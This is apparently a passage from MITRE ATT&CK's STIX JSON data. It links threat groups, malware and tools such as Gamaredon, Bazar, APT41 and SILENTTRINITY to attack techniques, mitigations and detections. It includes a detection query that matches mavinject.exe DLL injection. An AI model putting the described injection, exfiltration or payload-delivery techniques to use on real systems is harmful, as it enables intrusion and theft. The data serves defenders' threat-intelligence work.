"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6051e93-2d02-4890-bb0d-d0f3c8be8d15", "type": "relationship", "created": "2021-09-28T15:55:03.446Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kroll Qakbot June 2020", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks", "description": "Sette, N. et al. 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Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-23T19:21:13.525Z", "description": "(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c616ad2c-cfa1-4629-8f84-f102c7bc8d09", "created": "2019-09-23T23:14:16.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. 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Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.542Z", "description": "(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c6172742-12ae-4d3f-9fd6-194cfdc93de7", "created": "2022-02-01T20:08:16.704Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.390Z", "description": "[down_new](https://attack.mitre.org/software/S0472) has the ability to gather information on installed applications.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c620753b-17ad-43bd-ace3-f572ebcac644", "created": "2022-04-18T13:42:37.506Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "AADInternals Documentation", "url": "https://o365blog.com/aadinternals", "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AADInternals](https://attack.mitre.org/software/S0677) can steal users\u2019 access tokens via phishing emails containing malicious links.(Citation: AADInternals Documentation)", "modified": "2022-04-18T20:51:51.590Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c621754d-39c0-4ed4-96d2-6f47e8263aea", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.275Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) performs data exfiltration over the control server channel using a custom protocol.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c623d41f-3af0-4e3a-bf4f-8550bec85b37", "type": "relationship", "created": "2020-08-31T15:06:48.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-08-31T15:06:48.118Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used modules that automatically upload gathered documents to the C2 server.(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c62b3e99-4ab2-4474-b3f7-2779652210f7", "type": "relationship", "created": "2020-05-12T21:44:40.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-15T18:47:04.395Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the operating system name and specific Windows version of an infected machine.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c6330aef-b396-4664-9258-a6bed2f4573e", "created": "2023-04-15T00:12:54.206Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T00:12:54.206Z", "description": "Routinely check account role permissions to ensure only expected users and roles have permission to modify defensive tools and settings.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d", "type": "relationship", "created": "2017-05-31T21:33:27.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.secureworks.com/resources/blog/living-off-the-land/", "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. 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(2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2019-04-17T22:22:21.969Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is packed for obfuscation.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c", "created": "2017-05-31T21:33:27.080Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}, {"source_name": "CERT-EE Gamaredon January 2021", "url": "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "description": "CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}, {"source_name": "TrendMicro Gamaredon April 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "Palo Alto Gamaredon Feb 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used HTTP and HTTPS for C2 communications.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: CERT-EE Gamaredon January 2021)(Citation: Unit 42 Gamaredon February 2022)", "modified": "2022-04-15T14:08:47.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6467df1-e2fd-4fff-b647-606be50a9078", "type": "relationship", "created": "2020-06-15T20:49:55.569Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}], "modified": "2020-06-15T20:49:55.569Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) has been delivered with encrypted resources and must be unpacked for execution.(Citation: Malwarebytes Dyreza November 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c646d6ed-e0f6-48b0-a4a3-d52b0a21f250", "type": "relationship", "created": "2020-11-18T19:44:20.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "Zscaler Bazar September 2020", "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}, {"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}, {"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}], "modified": "2021-06-21T20:54:59.170Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can download and deploy additional payloads, including ransomware and post-exploitation frameworks such as [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c64b3644-a838-4ed3-a6f3-fc770637b009", "type": "relationship", "created": "2020-03-15T00:40:27.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T00:40:27.631Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c64f3e5f-6be9-45ec-8669-5b79c479030d", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:42:14.961Z", "description": "Monitor for changes made to processes that may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument \u201cINJECTRUNNING\u201d as a related signature here. Whitelisting certain applications may be necessary to reduce noise for this analytic.\n\nAnalytic 1 - DLL Injection with Mavinject\n\n<code>(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\SysWOW64\\mavinject.exe\" OR Image=\"C:\\Windows\\System32\\mavinject.exe\" OR CommandLine=\"*/INJECTRUNNING*\"\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6572007-a3f6-40d1-bfd2-37abf6a63b58", "type": "relationship", "created": "2021-01-19T21:06:07.772Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec RAINDROP January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}], "modified": "2021-01-20T15:00:22.799Z", "description": "[Raindrop](https://attack.mitre.org/software/S0565) used steganography to locate the start of its encoded payload within legitimate 7-Zip code.(Citation: Symantec RAINDROP January 2021)", "relationship_type": "uses", "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c65d4006-003c-4aff-a8c7-bd5834678b58", "created": "2023-04-03T17:31:01.013Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-03T17:31:01.013Z", "description": "[Metador](https://attack.mitre.org/groups/G1013) has used TCP for C2.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c65da10e-8b5b-4290-87a4-cbc3120bf99c", "type": "relationship", "created": "2022-03-24T19:39:24.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T19:39:24.722Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) contains a number of modules that can bypass UAC, including through Window's Device Manager, Manage Optional Features, and an image hijack on the `.msc` file extension.(Citation: GitHub SILENTTRINITY Modules July 2019)   ", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}], "modified": "2020-05-12T22:13:16.851Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the computer name, OS version, and default language identifier.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6615e27-5984-44b3-82dc-f710c6823834", "type": "relationship", "created": "2019-06-24T13:52:51.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-22T16:13:35.072Z", "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", "relationship_type": "mitigates", "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c667befa-7242-47f8-bdc1-1056f62bb466", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", "source_name": "Lotus Blossom Jun 2015"}], "modified": "2020-03-20T18:11:18.497Z", "description": "[Elise](https://attack.mitre.org/software/S0081) exfiltrates data using cookie values that are Base64-encoded.(Citation: Lotus Blossom Jun 2015)", "relationship_type": "uses", "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c671056c-f213-4084-9e9e-3361274ceb80", "created": "2020-05-12T18:42:01.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"}, {"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. 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Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can open random files and Registry keys to obscure malware behavior from sandbox analysis.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:19:23.988Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6adf690-07ad-4dbd-964b-0217ea2ce0fd", "type": "relationship", "created": "2021-12-06T23:14:44.943Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. 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Retrieved November 24, 2021."}], "modified": "2021-12-06T23:14:44.943Z", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has used PowerShell commands to download additional files.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6b51e0c-d6a8-4815-b1fe-fb065ac0bcaa", "type": "relationship", "created": "2020-12-11T17:03:43.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). 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(2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}], "modified": "2021-09-21T21:07:44.457Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can identify network adjacent and accessible drives.(Citation: Sentinel Labs WastedLocker July 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c6f2fa29-30fd-45c1-8adf-ed621771bd5d", "type": "relationship", "created": "2021-09-16T20:15:22.803Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Sliver Download", "url": "https://github.com/BishopFox/sliver/blob/7489c69962b52b09ed377d73d142266564845297/client/command/filesystem/download.go", "description": "BishopFox. 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Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}], "modified": "2020-03-18T19:33:54.732Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used Web shells to maintain access to victim websites.(Citation: Volexity OceanLotus Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c707d09b-1b36-4a1c-99be-c905fdd3ff6b", "created": "2022-08-07T15:03:39.699Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the hostname, OS version, and OS architecture of an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", 